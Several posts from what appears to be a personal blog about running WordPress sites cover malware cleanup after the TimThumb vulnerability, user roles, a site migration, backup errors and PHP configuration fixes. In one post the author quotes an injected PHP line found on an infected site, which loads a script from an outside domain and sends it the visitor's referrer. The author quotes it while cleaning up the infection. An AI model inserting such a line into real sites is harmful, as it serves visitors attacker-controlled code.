I spotted the redirect going to counter-wordpress.com and then did some internet searching, which brought me to a great thread about cleaning it up.  Using Sucuri SiteCheck I was directed to the source of the redirects, /wp-includes/js/l10n.js, a Java script that was planted through the TimThumb vulnerability.  I deleted the file and re-ran Sucuri SiteCheck and this time nothing was found.  Sigh of relief.

A little more digging on the Sucuri website lead me to a custom WordPress PHP file that can be uploaded and ran to test your WordPress site out.  All in all a very helpful resource.

Unfortunately one of the sites I look after had already been affected, so when I went through the upgrade procedures everything seemed fine but I had a popunder ad the next day.  Some Google searches didn’t reveal much so I needed more information.  I checked the page source in my browser and noticed this line at the bottom outside the HTML tag:

echo '<script type="text/javascript" language="javascript" src="http://superpuperdomain2.com/count.php?ref='.urlencode($_SERVER['HTTP_REFERER']) .'"></script>';

A Google search brought me to TECHspheria and their excellent removal instructions.  Changing all your passwords after something like this is a great idea as well.  Scary business.

It’s very straightforward: enter the email addresses separated by a comma in the Notification Receiver box.

Multiple internet searches led me to a WordPress options page that doesn’t show up on the menu at all: enter www.sitename/wp-admin/options.php in your browser and you’re confronted with All Settings.  That’s right, every setting for WordPress and it’s plugins all in one page.

It’s alphabetically listed so I went to image_default_link_type and entered File as the option, scrolled to the bottom and clicked Save Changes.

• Super Admin – Someone with access to the blog network administration features controlling the entire network (See Create a Network).
• Administrator – Somebody who has access to all the administration features
• Editor – Somebody who can publish and manage posts and pages as well as manage other users’ posts, etc.
• Author – Somebody who can publish and manage their own posts
• Contributor – Somebody who can write and manage their posts but not publish them
• Subscriber – Somebody who can only manage their profile

Regular writers were assigned as Contributors, but for some reason that level can’t add images.  Since they can’t publish their own articles I didn’t see the harm in allowing Contributors to add images but not delete or modify the media library.

A quick internet search led me to Capability Manager, a WordPress plugin that allows you to modify or create user roles.  As you can see in the image I opened the Contributor role and checked “Upload Files” and selected “Level 1″.  This is a great plugin that allows infinite customization and creation of WordPress roles.

With WordPress 3.0 released I decided to finally move eBabble Art to a new SQL 5 database and WordPress 3.  I searched around and found lots of directions for moving a site to a new database but decided to go my own route.  Here are the steps I performed:

1. created a new folder on my host called comicart
2. created a new SQL 5 database on 1 & 1
3. installed WordPress 3.0
4. installed my plugins
5. copied my theme folder
6. configured widgets
7. changed permalink, links and media
8. copied my images folder that contains all my uploads
9. exported eBabble Art, edited XML file and imported it to comicart
10. checked every page to make sure all the images were displaying
11. redirected subdomain art.ebabble.net to comicart folder
12. configure plugins

It looks very straightforward and it was.  I made a new folder on my host and installed WordPress so I could run the old site and the new site concurrently, comparing settings so everything would be the same.  Plus I didn’t have to worry about losing any files or experiencing any real downtime.  I installed the plugins but didn’t activate or configure most of them since the domain would be changing from www.ebabble.net/comicart to art.ebabble.net once everything was ready.

1 & 1 has a feature called WebSpaceExplorer (yes there are no spaces) that lets you create a Zip file of a folder and have it on your host.  This let me Zip up my images folder, move it to comicart and then upzip the folder, all without having to copy things via FTP to my PC and back again.  Very nice.

I copied my theme folder over since I had made changes to the header and footer and didn’t want to do it again; why do the work again when you don’t have to.  I recreated my widget layout, links list without incident but when it came to permalinks I received an error saying .htaccess wasn’t writable and I would have to manually edit it: the text was provided and again illustrated that WordPress is a very user friendly platform.  Unfortunately my .htaccess was writable and no amount of checking and tinkering could get my permalink settings changed within WordPress so I bit the bullet and manually made the changes.

Exporting and importing is very simple and covered the bulk of my site: posts, pages, comments.  WordPress 3 makes you install an importer plugin first which is new for me since it was built in before, but I’m getting ahead.  Once I had the XML export file I opened it in Notepad and did some replace text.  Most of my images linked to http://art.ebabble.net/images but some were to http://www.ebabble.net/art/images so I replaced all those.  As well I had manually added rel=”lightbox” to the images and I replaced that with a space as I wanted a plugin to handle that automatically.

Until now I had manually created my thumbnail images: it started when WordPress way back when didn’t handle images well and just continued.  This time around I wanted WordPress to handle it for me.  My thumbnails were 200 pixels at their largest, either width or height, and my main images were 800 pixels at their largest.  I didn’t need medium sized images so I set those to 0 and unchecked crop thumbnails to exact dimensions.  A few test uploads showed everything was working as I wanted it.

Wandering through every page showed a few images that didn’t seem to get my replace text properly but it wasn’t that many and the fix was quick: adding in http://art.ebabble.net to each image property.

Redirecting the subdomain was very easy with 1 & 1 and was working within two minutes.  At that point I needed to change the General settings in WordPress to reflect the domain of the site was now http://art.ebabble.net and not http://www.ebabble.net/comicart anymore.  Quick testing showed I needed to change the .htaccess file again, manually again!  Configured the plugins and my new WordPress 3 installation using SQL 5 was done.  The new site looked the same as the old, all links were the same but I was now up to date and didn’t have to manually edit and create so many image files.  All told it took me about 1.5 hours: well worth it.

I was mostly interested in backing up WordPress since I have this site and art.ebabble.net.  It seemed simple enough: add a plug-in and validate the account.  I did that but received the same errors each day in the Backupify History page, a nice idea that shows what happened with your account.  Here’s my error:

Perhaps too low php memory limit on http://www.ebabble.net for backup all files. We recommend 64M and more. Also install last version wp-backupify plugin and reregister

No comment on the grammar and punctuation.  The plug-in version I installed from Backupify was 1.8 but they now offered a 1.0.3 version.  Installed that but still received the low memory error.  A little searching showed you can try to increase your PHP memory by creating a php.ini file with one line:

memory_limit = 64M

Unfortunately I had the same issue so I poked around the 1&1 website and found that they set a limit of 20 MB for PHP so it looks like I’m out of luck for now.

This site is made possible because of WordPress.  I had started eBabble.net with NetObjects Fusion many years ago but wanted to move to a platform that would let me add and edit content from anywhere.  My first attempts were with CMS platforms but I couldn’t get the hang of them and somehow managed to stumble upon WordPress.  With every version it becomes easier to use and the plugin community grows: you can pretty much accomplish whatever you’d like with WordPress.

With version 2.8 WordPress has made three big ease of use changes.  Themes can now be searched for, previewed and installed right from the Dashboard.  The Widget system has been completely redesigned for ease of use; you can now have multiple widgets of the same type and can save widgets not in use.  Finally you can customize every Dashboard page via Screen Options for improved column support.  Full details and a great video are available at the WordPress blog.

Searching for the error uncovered one possible fix indicating PHP is running out of memory.  To increase on an ISP that doesn’t give direct access to PHP is to create a PHP.INI file with this line as the only content:

memory=20MB

I did this and gained access back to my WordPress Dashboard.  Checked the plugins and still received Error 500 trying to update.  More searching gave another option: edit the .HTACCESS file and add the following line to force PHP5 usage instead of PHP4.

AddType x-mapp-php5 .php

This allowed the plugin to be upgraded.  I then removed the PHP.INI file and everything was still working well.

WordPress 2.1